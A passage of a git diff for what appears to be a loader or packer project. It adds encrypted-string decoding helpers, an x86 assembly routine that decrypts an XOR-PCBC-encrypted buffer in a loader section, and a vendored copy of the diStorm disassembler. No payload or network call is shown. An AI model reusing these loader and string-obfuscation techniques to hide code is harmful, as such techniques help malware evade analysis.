(i > STR_MAX) { + plainStrPtr[0] = 0; + return plainStrPtr; + } + memcpy(plainStrPtr, strs[i].str, strs[i].len); + char* buf = crypt_string(plainStrPtr, strs[i].len); + buf[strs[i].len + 1] = 0; + return buf; +} + +int get_string_in_strings(char* strings, char delim, char** pDest, char** pEnd) +{ + if (!pDest || !pEnd) + return -1; + + if (*pDest == NULL) { + *pDest = strings; + } else if (*pEnd) { + *(*pEnd) = delim; + *pDest = ++(*pEnd); + } else return 1; + + { + *pEnd = COMPAT(strchr)(*pDest, delim); + if (*pEnd) { + *(*pEnd) = 0; + } + } + return 0; +} + +inline int get_string_in_strings_d(char* strings, char** pDest, char** pEnd) +{ + return get_string_in_strings(strings, '#', pDest, pEnd); +} + +int get_string_in_strings_i(char* strings, char delim, int idx, char** pDest, char** pEnd) +{ + int i = -1; + while (i++ != idx && get_string_in_strings(strings, delim, pDest, pEnd) == 0) { + } + return (i-1 == idx ? 0 : 1); +} + +inline int get_string_in_strings_di(char* strings, int idx, char** pDest, char** pEnd) +{ + return get_string_in_strings_i(strings, '#', idx, pDest, pEnd); +} + +inline void string_restore_delim(char* pEnd) +{ + if (pEnd) + *pEnd = '#'; +} + + +#ifdef _STRINGS_BIN +#include "helper.h" +void addTrimSpaces(char* outbuf, long insiz, long trimsiz) +{ + trimsiz -= insiz; + if (trimsiz > 0) { + memset(outbuf, ' ', trimsiz); + outbuf[trimsiz] = 0; + } else outbuf[0] = 0; +} + +int main(void) +{ + const long trimsiz1 = 70; + const long trimsiz2 = 25; + char buf1[trimsiz1+1]; + char buf2[trimsiz2+1]; + + for (size_t i = 0; i < STR_MAX; ++i) { + if (strs[i].len == 0 || strs[i].str == NULL) { + memset(&buf2[0], '-', trimsiz2); + buf2[trimsiz2] = 0; + printf("%s %s -> %lu -> NULL %s\n", buf2, strs[i].name, i, buf2); + continue; + } + + DBUF(i, tmp); + + char* chex = bintostr(strs[i].str, strs[i].len, 1, NULL); + long csiz = strlen(chex)-1; + chex[csiz] = 0; + addTrimSpaces(buf1, csiz, trimsiz1); + + long nsiz = strlen(strs[i].name); + if (csiz < trimsiz1) { + addTrimSpaces(buf2, nsiz, trimsiz2); + } else buf2[0] = 0; + + printf("C(%03u): %s%s -> %s%s -> P(%03u): %s\n", (uint8_t)strs[i].len, chex, buf1, strs[i].name, buf2, (uint8_t)strlen(tmp), tmp); + free(chex); + + char* cur = NULL; + char* end = NULL; + int ret = get_string_in_strings_d(tmp, &cur, &end); + ret = get_string_in_strings_d(tmp, &cur, &end); + if (ret == 0) { + string_restore_delim(end); + cur = NULL; + end = NULL; + + int max = 0; + while (get_string_in_strings_d(tmp, &cur, &end) == 0) { + addTrimSpaces(buf2, 0, trimsiz2); + printf("%s SUBSTRING -> %s\n", buf2, cur); + max++; + } + + printf("\n"); + + for (int i = 0; i < max; ++i) { + cur = NULL; + end = NULL; + if (get_string_in_strings_di(tmp, i, &cur, &end) == 0) { + addTrimSpaces(buf2, 4, trimsiz2); + printf("%s SUBSTRING(%02d) -> %s\n", buf2, i, cur); + string_restore_delim(end); + } + } + } + } + + return 0; +} +#endif diff --git a/source/decrypter_x86.asm b/source/decrypter_x86.asm new file mode 100644 index 0000000..b3a04ec --- /dev/null +++ b/source/decrypter_x86.asm @@ -0,0 +1,101 @@ +; Module: decrypter_x86.asm +; Author: Toni <matzeton@googlemail.com> +; Purpose: 1. decrypt a buffer encrypted with xor32npcbc + +%ifndef _LDR_SECTION +%error "expected _LDR_SECTION to be defined" +%endif +SECTION _LDR_SECTION +GLOBAL __decrypt_x86 + +EBP_BUFF EQU 0x08 +EBP_SIZE EQU 0x0c +EBP_IVPT EQU 0x10 +EBP_KEYP EQU 0x14 +EBP_IVKY EQU 0x18 + +; xor32n_pcbc decryption routine +; arguments: [ebp + 0x08] = buffer_ptr32 +; [ebp + 0x0c] = size_u32 +; [ebp + 0x10] = iv_ptr32 +; [ebp + 0x14] = key_ptr32 +; [ebp + 0x18] = ivkeysize +; modifies : eax, ebx, ecx, edx, esi, edi +; return : eax = FALSE if error, non-zero if success +__decrypt_x86: + ; new stack frame + push ebp + mov ebp,esp + ; check if buffer has a valid size + xor edx,edx ; clear remainder + xor ecx,ecx ; clear divisor + mov eax,[ebp + 0x0c] + mov byte cl,0x04 + div ecx ; size_u32 % sizeof(uint32) + xor eax,eax + cmp edx,eax ; remainder == 0 ? + jnz __decrypt_failed + ; uint32_t prev[ivkeysiz]; + mov ecx,[ebp + 0x18] ; ivkeysize + ; calculate and reserve stack space + xor edx,edx + xor eax,eax + mov al,0x04 + mul ecx + sub esp,eax ; make space for ivkeysiz*sizeof(uint32) + ; init prev[i] with iv[i] + mov edx,[ebp + 0x10] ; iv_ptr32 + __decrypt_prev: ; ecx = ivkeysize + mov eax,[ebp + 0x18] ; ivkeysize + sub eax,ecx ; ivkeysize - ecx + mov edi,[edx + eax*4] + mov dword [esp + eax*4],edi + loop __decrypt_prev + ; size_u32 / sizeof(uint32) + mov ecx,[ebp + 0x0c] ; size_u32 + shr ecx,0x02 ; / sizeof(uint32) + ; main decrypt loop + mov edi,ecx ; edi = count + __decrypt_loop: ; ecx = count-i + ; calculate i + mov eax,edi + sub eax,ecx ; count-(count-i) + mov esi,eax ; esi = i + ; calculate iv/key i + xor edx,edx ; clear remainder + mov ebx,[ebp + 0x18] ; ivkeysize + div ebx ; i % ivkeysize + mov ebx,edx ; ebx = iv/key i + ; get buffer content + mov edx,[ebp + 0x08] ; buffer_ptr32 + mov edx,[edx + esi*4] ; edx = buf[i] + ; decrypt content + mov eax,[ebp + 0x14] + mov eax,[eax + ebx*4] ; eax = key[iv/key i] + xor eax,edx ; tmp = xor32_crypt(buf[i], key[iv/key i]) + xor eax,[esp + ebx*4] ; plain = xor32_crypt(tmp, prev[iv/key i]) + push ebx + mov ebx,[ebp + 0x08] ; buffer_ptr32 + mov [ebx + esi*4],eax + pop ebx + ; calculate prev[iv/key i] + xor eax,edx ; prev[iv/key i] = xor32_crypt(plain, crypt) + mov [esp + ebx*4],eax + loop __decrypt_loop + ; cleanup stack + xor edx,edx + xor eax,eax + mov ecx,[ebp + 0x18] + mov al,0x04 + mul ecx + add esp,eax + ; return value (size of buffer) + mov eax,[ebp + 0x0c] + ; restore old frame + pop ebp + ret +__decrypt_failed: + pop ebp + xor eax,eax + ret + diff --git a/source/disasm.c b/source/disasm.c new file mode 100644 index 0000000..b36abae --- /dev/null +++ b/source/disasm.c @@ -0,0 +1,24 @@ +#include "compat.h" +#include "disasm.h" +#include "distorm/distorm.h" + + +_DecodeResult disasm(_OffsetType codeOffset, const unsigned char* code, int codeLen, _DecodeType dt, _DInst instructions[], unsigned int maxInstructions, unsigned int* usedInstructionsCount) +{ + _DecodeResult res; + _CodeInfo ci; + unsigned int instsCount = 0; + + ci.codeOffset = codeOffset; + ci.code = code; + ci.codeLen = codeLen; + ci.dt = dt; + ci.features = DF_NONE; + + if (dt == Decode16Bits) ci.features = DF_MAXIMUM_ADDR16; + else if (dt == Decode32Bits) ci.features = DF_MAXIMUM_ADDR32; + + res = distorm_decompose(&ci, instructions, maxInstructions, &instsCount); + *usedInstructionsCount = instsCount; + return res; +} diff --git a/source/distorm/config.h b/source/distorm/config.h new file mode 100644 index 0000000..805a7d6 --- /dev/null +++ b/source/distorm/config.h @@ -0,0 +1,168 @@ +/* +config.h + +diStorm3 - Powerful disassembler for X86/AMD64 +http://ragestorm.net/distorm/ +distorm at gmail dot com +Copyright (C) 2003-2016 Gil Dabah +This library is licensed under the BSD license. See the file COPYING. +*/ + + +#ifndef CONFIG_H +#define CONFIG_H + +#include "distorm/distorm.h" + + +/* diStorm version number. */ +#define __DISTORMV__ 0x030304 + + +/* + * 64 bit offsets support: + * This macro should be defined from compiler command line flags, e.g: -DSUPPORT_64BIT_OFFSET + * Note: make sure that the caller (library user) defines it too! + */ +/* #define SUPPORT_64BIT_OFFSET */ + +/* + * If you compile diStorm as a dynamic library (.dll or .so) file, make sure you uncomment the next line. + * So the interface functions will be exported, otherwise they are useable only for static library. + * For example, this macro is being set for compiling diStorm as a .dll for Python with CTypes. + */ +/* #define DISTORM_DYNAMIC */ + +/* + * If DISTORM_LIGHT is defined, everything involved in formatting the instructions + * as text will be excluded from compilation. + * distorm_decode(..) and distorm_format(..) will not be available. + * This will decrease the size of the executable and leave you with decomposition functionality only. + * + * Note: it should be either set in the preprocessor definitions manually or in command line -D switch. + * #define DISTORM_LIGHT + */ + +/* + * diStorm now supports little/big endian CPU's. + * It should detect the endianness according to predefined macro's of the compiler. + * If you don't use GCC/MSVC you will have to define it on your own. + */ + +/* These macros are used in order to make the code portable. */ +#ifdef __GNUC__ + +#include <stdint.h> + +#define _DLLEXPORT_ +#define _FASTCALL_ +#define _INLINE_ static +/* GCC ignores this directive... */ +/*#define _FASTCALL_ __attribute__((__fastcall__))*/ + +/* Set endianity (supposed to be LE though): */ +#ifdef __BIG_ENDIAN__ + #define BE_SYSTEM +#endif + +/* End of __GCC__ */ + +#elif __WATCOMC__ + +#include <stdint.h> + +#define _DLLEXPORT_ +#define _FASTCALL_ +#define _INLINE_ __inline + +/* End of __WATCOMC__ */ + +#elif __DMC__ + +#include <stdint.h> + +#define _DLLEXPORT_ +#define _FASTCALL_ +#define _INLINE_ __inline + +/* End of __DMC__ */ + +#elif __TINYC__ + +#include <stdint.h> + +#define _DLLEXPORT_ +#define _FASTCALL_ +#define _INLINE_ + +/* End of __TINYC__ */ + +#elif _MSC_VER + +/* stdint alternative is defined in distorm.h */ + +#define _DLLEXPORT_ __declspec(dllexport) +#define _FASTCALL_ __fastcall +#define _INLINE_ __inline + +/* Set endianity (supposed to be LE though): */ +#if !defined(_M_IX86) && !defined(_M_X64) + #define BE_SYSTEM +#endif + +#endif /* #elif _MSC_VER */ + +/* If the library isn't compiled as a dynamic library don't export any functions. */ +#ifndef DISTORM_DYNAMIC +#undef _DLLEXPORT_ +#define _DLLEXPORT_ +#endif + +#ifndef FALSE +#define FALSE 0 +#endif +#ifndef TRUE +#define TRUE 1 +#endif + +/* Define stream read functions for big endian systems. */ +#ifdef BE_SYSTEM +/* + * These functions can read from the stream safely! + * Swap endianity of input to little endian. + */ +static _INLINE_ int16_t RSHORT(const uint8_t *s) +{ + return s[0] | (s[1] << 8); +} +static _INLINE_ uint16_t RUSHORT(const uint8_t *s) +{ + return s[0] | (s[1] << 8); +} +static _INLINE_ int32_t RLONG(const uint8_t *s) +{ + return s[0] | (s[1] << 8) | (s[2] << 16) | (s[3] << 24); +} +static _INLINE_ uint32_t RULONG(const uint8_t *s) +{ + return s[0] | (s[1] << 8) | (s[2] << 16) | (s[3] << 24); +} +static _INLINE_ int64_t RLLONG(const uint8_t *s) +{ + return s[0] | (s[1] << 8) | (s[2] << 16) | (s[3] << 24) | ((uint64_t)s[4] << 32) | ((uint64_t)s[5] << 40) | ((uint64_t)s[6] << 48) | ((uint64_t)s[7] << 56); +} +static _INLINE_ uint64_t RULLONG(const uint8_t *s) +{ + return s[0] | (s[1] << 8) | (s[2] << 16) | (s[3] << 24) | ((uint64_t)s[4] << 32) | ((uint64_t)s[5] << 40) | ((uint64_t)s[6] << 48) | ((uint64_t)s[7] << 56); +} +#else +/* Little endian macro's will just make the cast. */ +#define RSHORT(x) *(int16_t *)x +#define RUSHORT(x) *(uint16_t *)x +#define RLONG(x) *(int32_t *)x +#define RULONG(x) *(uint32_t *)x +#define RLLONG(x) *(int64_t *)x +#define RULLONG(x) *(uint64_t *)x +#endif + +#endif /* CONFIG_H */ diff --git a/source/distorm/decoder.c b/source/distorm/decoder.c new file mode 100644 index 0000000..a54e5b5 --- /dev/null +++ b/source/distorm/decoder.c @@ -0,0 +1,651 @@ +/* +decoder.c + +diStorm3 - Powerful disassembler for X86/AMD64 +http://ragestorm.net/distorm/ +distorm at gmail dot com +Copyright (C) 2003-2016 Gil Dabah +This library is licensed under the BSD license. See the file COPYING. +*/ + + +#include "decoder.h" +#include "instructions.h" +#include "insts.h" +#include "prefix.h" +#include "x86defs.h" +#include "operands.h" +#include "insts.h" +#include "distorm/mnemonics.h" +#include "compat.h" + + +/* Instruction Prefixes - Opcode - ModR/M - SIB - Displacement - Immediate */ + +static _DecodeType decode_get_effective_addr_size(_DecodeType dt, _iflags decodedPrefixes) +{ + /* + * This table is to map from the current decoding mode to an effective address size: + * Decode16 -> Decode32 + * Decode32 -> Decode16 + * Decode64 -> Decode32 + */ + static volatile _DecodeType AddrSizeTable[] = {Decode32Bits, Decode16Bits, Decode32Bits}; + + /* Switch to non default mode if prefix exists, only for ADDRESS SIZE. */ + if (decodedPrefixes & INST_PRE_ADDR_SIZE) dt = AddrSizeTable[dt]; + return dt; +} + +static _DecodeType decode_get_effective_op_size(_DecodeType dt, _iflags decodedPrefixes, unsigned int rex, _iflags instFlags) +{ + /* + * This table is to map from the current decoding mode to an effective operand size: + * Decode16 -> Decode32 + * Decode32 -> Decode16 + * Decode64 -> Decode16 + * Not that in 64bits it's a bit more complicated, because of REX and promoted instructions. + */ + static volatile _DecodeType OpSizeTable[] = {Decode32Bits, Decode16Bits, Decode16Bits}; + + if (decodedPrefixes & INST_PRE_OP_SIZE) return OpSizeTable[dt]; + + if (dt == Decode64Bits) { + /* + * REX Prefix toggles data size to 64 bits. + * Operand size prefix toggles data size to 16. + * Default data size is 32 bits. + * Promoted instructions are 64 bits if they don't require a REX perfix. + * Non promoted instructions are 64 bits if the REX prefix exists. + */ + /* Automatically promoted instructions have only INST_64BITS SET! */ + if (((instFlags & (INST_64BITS | INST_PRE_REX)) == INST_64BITS) || + /* Other instructions in 64 bits can be promoted only with a REX prefix. */ + ((decodedPrefixes & INST_PRE_REX) && (rex & PREFIX_EX_W))) dt = Decode64Bits; + else dt = Decode32Bits; /* Default. */ + } + return dt; +} + +/* A helper macro to convert from diStorm's CPU flags to EFLAGS. */ +#define CONVERT_FLAGS_TO_EFLAGS(dst, src, field) dst->field = ((src->field & D_COMPACT_SAME_FLAGS) | \ + ((src->field & D_COMPACT_IF) ? D_IF : 0) | \ + ((src->field & D_COMPACT_DF) ? D_DF : 0) | \ + ((src->field & D_COMPACT_OF) ? D_OF : 0)); + +static _DecodeResult decode_inst(_CodeInfo* ci, _PrefixState* ps, _DInst* di) +{ + /* Remember whether the instruction is privileged. */ + uint16_t privilegedFlag = 0; + + /* The ModR/M byte of the current instruction. */ + unsigned int modrm = 0; + + /* The REX/VEX prefix byte value. */ + unsigned int vrex = ps->vrex; + + /* + * Backup original input, so we can use it later if a problem occurs + * (like not enough data for decoding, invalid opcode, etc). + */ + const uint8_t* startCode = ci->code; + + /* Holds the info about the current found instruction. */ + _InstInfo* ii = NULL; + _InstInfo iip; /* Privileged instruction cache. */ + _InstSharedInfo* isi = NULL; + + /* Used only for special CMP instructions which have pseudo opcodes suffix. */ + unsigned char cmpType = 0; + + /* + * Indicates whether it is right to LOCK the instruction by decoding its first operand. + * Only then you know if it's ok to output the LOCK prefix's text... + * Used for first operand only. + */ + int lockable = FALSE; + + /* Calculate (and cache) effective-operand-size and effective-address-size only once. */ + _DecodeType effOpSz, effAdrSz; + _iflags instFlags; + + ii = inst_lookup(ci, ps); + if (ii == NULL) goto _Undecodable; + isi = &InstSharedInfoTable[ii->sharedIndex]; + instFlags = FlagsTable[isi->flagsIndex]; + privilegedFlag = ii->opcodeId & OPCODE_ID_PRIVILEGED; + + if (privilegedFlag) { + /* + * Copy the privileged instruction info so we can remove the privileged bit + * from the opcodeId field. This makes sure we're not modifying the tables + * in case we lookup this privileged instruction later. + */ + iip = *ii; + iip.opcodeId &= ~OPCODE_ID_PRIVILEGED; + ii = &iip; + } + + /* + * If both REX and OpSize are available we will have to disable the OpSize, because REX has precedence. + * However, only if REX.W is set ! + * We had to wait with this test, since the operand size may be a mandatory prefix, + * and we know it only after prefetching. + */ + if ((ps->prefixExtType == PET_REX) && + (ps->decodedPrefixes & INST_PRE_OP_SIZE) && + (!ps->isOpSizeMandatory) && + (vrex & PREFIX_EX_W)) { + ps->decodedPrefixes &= ~INST_PRE_OP_SIZE; + prefixes_ignore(ps, PFXIDX_OP_SIZE); + } + + /* + * In this point we know the instruction we are about to decode and its operands (unless, it's an invalid one!), + * so it makes it the right time for decoding-type suitability testing. + * Which practically means, don't allow 32 bits instructions in 16 bits decoding mode, but do allow + * 16 bits instructions in 32 bits decoding mode, of course... + + * NOTE: Make sure the instruction set for 32 bits has explicitly this specific flag set. + * NOTE2: Make sure the instruction set for 64 bits has explicitly this specific flag set. + + * If this is the case, drop what we've got and restart all over after DB'ing that byte. + + * Though, don't drop an instruction which is also supported in 16 and 32 bits. + */ + + /* ! ! ! DISABLED UNTIL FURTHER NOTICE ! ! ! Decode16Bits CAN NOW DECODE 32 BITS INSTRUCTIONS ! ! !*/ + /* if (ii && (dt == Decode16Bits) && (instFlags & INST_32BITS) && (~instFlags & INST_16BITS)) ii = NULL; */ + + /* Drop instructions which are invalid in 64 bits. */ + if ((ci->dt == Decode64Bits) && (instFlags & INST_INVALID_64BITS)) goto _Undecodable; + + /* If it's only a 64 bits instruction drop it in other decoding modes. */ + if ((ci->dt != Decode64Bits) && (instFlags & INST_64BITS_FETCH)) goto _Undecodable; + + if (instFlags & INST_MODRM_REQUIRED) { + /* If the ModRM byte is not part of the opcode, skip the last byte code, so code points now to ModRM. */ + if (~instFlags & INST_MODRM_INCLUDED) { + ci->code++; + if (--ci->codeLen < 0) goto _Undecodable; + } + modrm = *ci->code; + + /* Some instructions enforce that reg=000, so validate that. (Specifically EXTRQ). */ + if ((instFlags & INST_FORCE_REG0) && (((modrm >> 3) & 7) != 0)) goto _Undecodable; + /* Some instructions enforce that mod=11, so validate that. */ + if ((instFlags & INST_MODRR_REQUIRED) && (modrm < INST_DIVIDED_MODRM)) goto _Undecodable; + } + + ci->code++; /* Skip the last byte we just read (either last opcode's byte code or a ModRM). */ + + /* Cache the effective operand-size and address-size. */ + effOpSz = decode_get_effective_op_size(ci->dt, ps->decodedPrefixes, vrex, instFlags); + effAdrSz = decode_get_effective_addr_size(ci->dt, ps->decodedPrefixes); + + COMPAT(memset)(di, 0, sizeof(_DInst)); + di->base = R_NONE; + + /* + * Try to extract the next operand only if the latter exists. + * For example, if there is not first operand, no reason to try to extract second operand... + * I decided that a for-break is better for readability in this specific case than goto. + * Note: do-while with a constant 0 makes the compiler warning about it. + */ + for (;;) { + if (isi->d != OT_NONE) { + if (!operands_extract(ci, di, ii, instFlags, (_OpType)isi->d, ONT_1, modrm, ps, effOpSz, effAdrSz, &lockable)) goto _Undecodable; + } else break; + + if (isi->s != OT_NONE) { + if (!operands_extract(ci, di, ii, instFlags, (_OpType)isi->s, ONT_2, modrm, ps, effOpSz, effAdrSz, NULL)) goto _Undecodable; + } else break; + + /* Use third operand, only if the flags says this InstInfo requires it. */ + if (instFlags & INST_USE_OP3) { + if (!operands_extract(ci, di, ii, instFlags, (_OpType)((_InstInfoEx*)ii)->op3, ONT_3, modrm, ps, effOpSz, effAdrSz, NULL)) goto _Undecodable; + } else break; + + /* Support for a fourth operand is added for (i.e:) INSERTQ instruction. */ + if (instFlags & INST_USE_OP4) { + if (!operands_extract(ci, di, ii, instFlags, (_OpType)((_InstInfoEx*)ii)->op4, ONT_4, modrm, ps, effOpSz, effAdrSz, NULL)) goto _Undecodable; + } + break; + } /* Continue here after all operands were extracted. */ + + /* If it were a 3DNow! instruction, we will have to find the instruction itself now that we got its operands extracted. */ + if (instFlags & INST_3DNOW_FETCH) { + ii = inst_lookup_3dnow(ci); + if (ii == NULL) goto _Undecodable; + isi = &InstSharedInfoTable[ii->sharedIndex]; + instFlags = FlagsTable[isi->flagsIndex]; + } + + /* Check whether pseudo opcode is needed, only for CMP instructions: */ + if (instFlags & INST_PSEUDO_OPCODE) { + if (--ci->codeLen < 0) goto _Undecodable; + cmpType = *ci->code; + ci->code++; + if (instFlags & INST_PRE_VEX) { + /* AVX Comparison type must be between 0 to 32, otherwise Reserved. */ + if (cmpType >= INST_VCMP_MAX_RANGE) goto _Undecodable; + } else { + /* SSE Comparison type must be between 0 to 8, otherwise Reserved. */ + if (cmpType >= INST_CMP_MAX_RANGE) goto _Undecodable; + } + } + + /* + * There's a limit of 15 bytes on instruction length. The only way to violate + * this limit is by putting redundant prefixes before an instruction. + * start points to first prefix if any, otherwise it points to instruction first byte. + */ + if ((ci->code - ps->start) > INST_MAXIMUM_SIZE) goto _Undecodable; /* Drop instruction. */ + + /* + * If we reached here the instruction was fully decoded, we located the instruction in the DB and extracted operands. + * Use the correct mnemonic according to the DT. + * If we are in 32 bits decoding mode it doesn't necessarily mean we will choose mnemonic2, alas, + * it means that if there is a mnemonic2, it will be used. + */ + + /* Start with prefix LOCK. */ + if ((lockable == TRUE) && (instFlags & INST_PRE_LOCK)) { + ps->usedPrefixes |= INST_PRE_LOCK; + di->flags |= FLAG_LOCK; + } else if ((instFlags & INST_PRE_REPNZ) && (ps->decodedPrefixes & INST_PRE_REPNZ)) { + ps->usedPrefixes |= INST_PRE_REPNZ; + di->flags |= FLAG_REPNZ; + } else if ((instFlags & INST_PRE_REP) && (ps->decodedPrefixes & INST_PRE_REP)) { + ps->usedPrefixes |= INST_PRE_REP; + di->flags |= FLAG_REP; + } + + /* If it's JeCXZ the ADDR_SIZE prefix affects them. */ + if ((instFlags & (INST_PRE_ADDR_SIZE | INST_USE_EXMNEMONIC)) == (INST_PRE_ADDR_SIZE | INST_USE_EXMNEMONIC)) { + ps->usedPrefixes |= INST_PRE_ADDR_SIZE; + if (effAdrSz == Decode16Bits) di->opcode = ii->opcodeId; + else if (effAdrSz == Decode32Bits) di->opcode = ((_InstInfoEx*)ii)->opcodeId2; + /* Ignore REX.W in 64bits, JECXZ is promoted. */ + else /* Decode64Bits */ di->opcode = ((_InstInfoEx*)ii)->opcodeId3; + } + + /* LOOPxx instructions are also native instruction, but they are special case ones, ADDR_SIZE prefix affects them. */ + else if ((instFlags & (INST_PRE_ADDR_SIZE | INST_NATIVE)) == (INST_PRE_ADDR_SIZE | INST_NATIVE)) { + di->opcode = ii->opcodeId; + + /* If LOOPxx gets here from 64bits, it must be Decode32Bits because Address Size prefix is set. */ + ps->usedPrefixes |= INST_PRE_ADDR_SIZE; + } + /* + * Note: + * If the instruction is prefixed by operand size we will format it in the non-default decoding mode! + * So there might be a situation that an instruction of 32 bit gets formatted in 16 bits decoding mode. + * Both ways should end up with a correct and expected formatting of the text. + */ + else if (effOpSz == Decode16Bits) { /* Decode16Bits */ + + /* Set operand size. */ + FLAG_SET_OPSIZE(di, Decode16Bits); + + /* + * If it's a special instruction which has two mnemonics, then use the 16 bits one + update usedPrefixes. + * Note: use 16 bits mnemonic if that instruction supports 32 bit or 64 bit explicitly. + */ + if ((instFlags & INST_USE_EXMNEMONIC) && ((instFlags & (INST_32BITS | INST_64BITS)) == 0)) ps->usedPrefixes |= INST_PRE_OP_SIZE; + di->opcode = ii->opcodeId; + } else if (effOpSz == Decode32Bits) { /* Decode32Bits */ + + /* Set operand size. */ + FLAG_SET_OPSIZE(di, Decode32Bits); + + /* Give a chance for special mnemonic instruction in 32 bits decoding. */ + if (instFlags & INST_USE_EXMNEMONIC) { + ps->usedPrefixes |= INST_PRE_OP_SIZE; + /* Is it a special instruction which has another mnemonic for mod=11 ? */ + if (instFlags & INST_MNEMONIC_MODRM_BASED) { + if (modrm >= INST_DIVIDED_MODRM) di->opcode = ii->opcodeId; + else di->opcode = ((_InstInfoEx*)ii)->opcodeId2; + } else di->opcode = ((_InstInfoEx*)ii)->opcodeId2; + } else di->opcode = ii->opcodeId; + } else { /* Decode64Bits, note that some instructions might be decoded in Decode32Bits above. */ + + /* Set operand size. */ + FLAG_SET_OPSIZE(di, Decode64Bits); + + if (instFlags & (INST_USE_EXMNEMONIC | INST_USE_EXMNEMONIC2)) { + /* + * We shouldn't be here for MODRM based mnemonics with a MOD=11, + * because they must not use REX (otherwise it will get to the wrong instruction which share same opcode). + * See XRSTOR and XSAVEOPT. + */ + if ((instFlags & INST_MNEMONIC_MODRM_BASED) && (modrm >= INST_DIVIDED_MODRM)) goto _Undecodable; + + /* Use third mnemonic, for 64 bits. */ + if ((instFlags & INST_USE_EXMNEMONIC2) && (vrex & PREFIX_EX_W)) { + ps->usedPrefixes |= INST_PRE_REX; + di->opcode = ((_InstInfoEx*)ii)->opcodeId3; + } else di->opcode = ((_InstInfoEx*)ii)->opcodeId2; /* Use second mnemonic. */ + } else di->opcode = ii->opcodeId; + } + + /* If it's a native instruction use OpSize Prefix. */ + if ((instFlags & INST_NATIVE) && (ps->decodedPrefixes & INST_PRE_OP_SIZE)) ps->usedPrefixes |= INST_PRE_OP_SIZE; + + /* Check VEX mnemonics: */ + if ((instFlags & INST_PRE_VEX) && + (((((_InstInfoEx*)ii)->flagsEx & INST_MNEMONIC_VEXW_BASED) && (vrex & PREFIX_EX_W)) || + ((((_InstInfoEx*)ii)->flagsEx & INST_MNEMONIC_VEXL_BASED) && (vrex & PREFIX_EX_L)))) { + di->opcode = ((_InstInfoEx*)ii)->opcodeId2; + } + + /* Or is it a special CMP instruction which needs a pseudo opcode suffix ? */ + if (instFlags & INST_PSEUDO_OPCODE) { + /* + * The opcodeId is the offset to the FIRST pseudo compare mnemonic, + * we will have to fix it so it offsets into the corrected mnemonic. + * Therefore, we use another table to fix the offset. + */ + if (instFlags & INST_PRE_VEX) { + /* Use the AVX pseudo compare mnemonics table. */ + di->opcode = ii->opcodeId + VCmpMnemonicOffsets[cmpType]; + } else { + /* Use the SSE pseudo compare mnemonics table. */ + di->opcode = ii->opcodeId + CmpMnemonicOffsets[cmpType]; + } + } + + /* + * Store the address size inside the flags. + * This is necessary for the caller to know the size of rSP when using PUSHA for example. + */ + FLAG_SET_ADDRSIZE(di, effAdrSz); + + /* Copy DST_WR flag. */ + if (instFlags & INST_DST_WR) di->flags |= FLAG_DST_WR; + + /* Set the unused prefixes mask. */ + di->unusedPrefixesMask = prefixes_set_unused_mask(ps); + + /* Fix privileged. Assumes the privilegedFlag is 0x8000 only. */ + di->flags |= privilegedFlag; + + /* Copy instruction meta. */ + di->meta = isi->meta; + if (di->segment == 0) di->segment = R_NONE; + + /* Take into account the O_MEM base register for the mask. */ + if (di->base != R_NONE) di->usedRegistersMask |= _REGISTERTORCLASS[di->base]; + + /* Copy CPU affected flags. */ + CONVERT_FLAGS_TO_EFLAGS(di, isi, modifiedFlagsMask); + CONVERT_FLAGS_TO_EFLAGS(di, isi, testedFlagsMask); + CONVERT_FLAGS_TO_EFLAGS(di, isi, undefinedFlagsMask); + + /* Calculate the size of the instruction we've just decoded. */ + di->size = (uint8_t)((ci->code - startCode) & 0xff); + return DECRES_SUCCESS; + +_Undecodable: /* If the instruction couldn't be decoded for some reason, drop the first byte. */ + COMPAT(memset)(di, 0, sizeof(_DInst)); + di->base = R_NONE; + + di->size = 1; + /* Clean prefixes just in case... */ + ps->usedPrefixes = 0; + + /* Special case for WAIT instruction: If it's dropped, you have to return a valid instruction! */ + if (*startCode == INST_WAIT_INDEX) { + di->opcode = I_WAIT; + META_SET_ISC(di, ISC_INTEGER); + return DECRES_SUCCESS; + } + + /* Mark that we didn't manage to decode the instruction well, caller will drop it. */ + return DECRES_INPUTERR; +} + +/* + * decode_internal + * + * supportOldIntr - Since now we work with new structure instead of the old _DecodedInst, we are still interested in backward compatibility. + * So although, the array is now of type _DInst, we want to read it in jumps of the old array element's size. + * This is in order to save memory allocation for conversion between the new and the old structures. + * It really means we can do the conversion in-place now. + */ +_DecodeResult decode_internal(_CodeInfo* _ci, int supportOldIntr, _DInst result[], unsigned int maxResultCount, unsigned int* usedInstructionsCount) +{ + _PrefixState ps; + unsigned int prefixSize; + _CodeInfo ci; + unsigned int features; + unsigned int mfc; + + _OffsetType codeOffset = _ci->codeOffset; + const uint8_t* code = _ci->code; + int codeLen = _ci->codeLen; + + /* + * This is used for printing only, it is the real offset of where the whole instruction begins. + * We need this variable in addition to codeOffset, because prefixes might change the real offset an instruction begins at. + * So we keep track of both. + */ + _OffsetType startInstOffset = 0; + + const uint8_t* p; + + /* Current working decoded instruction in results. */ + unsigned int nextPos = 0; + _DInst *pdi = NULL; + + _OffsetType addrMask = (_OffsetType)-1; + + _DecodeResult decodeResult; + +#ifdef DISTORM_LIGHT + (void) supportOldIntr; /* Unreferenced. */ + + /* + * Only truncate address if we are using the decompose interface. + * Otherwise, we use the textual interface which needs full addresses for formatting bytes output. + * So distorm_format will truncate later. + */ + if (_ci->features & DF_MAXIMUM_ADDR32) addrMask = 0xffffffff; + else if (_ci->features & DF_MAXIMUM_ADDR16) addrMask = 0xffff; +#endif + + /* No entries are used yet. */ + *usedInstructionsCount = 0; + ci.dt = _ci->dt; + _ci->nextOffset = codeOffset; + + /* Decode instructions as long as we have what to decode/enough room in entries. */ + while (codeLen > 0) { + + /* startInstOffset holds the displayed offset of current instruction. */ + startInstOffset = codeOffset; + + COMPAT(memset)(&ps, 0, (size_t)((char*)&ps.pfxIndexer[0] - (char*)&ps)); + COMPAT(memset)(ps.pfxIndexer, PFXIDX_NONE, sizeof(int) * PFXIDX_MAX); + ps.start = code; + ps.last = code; + prefixSize = 0; + + if (prefixes_is_valid(*code, ci.dt)) { + prefixes_decode(code, codeLen, &ps, ci.dt); + /* Count prefixes, start points to first prefix. */ + prefixSize = (unsigned int)(ps.last - ps.start); + /* + * It might be that we will just notice that we ran out of bytes, or only prefixes + * so we will have to drop everything and halt. + * Also take into consideration of flow control instruction filter. + */ + codeLen -= prefixSize; + if ((codeLen == 0) || (prefixSize == INST_MAXIMUM_SIZE)) { + if (~_ci->features & DF_RETURN_FC_ONLY) { + /* Make sure there is enough room. */ + if (nextPos + (ps.last - code) > maxResultCount) return 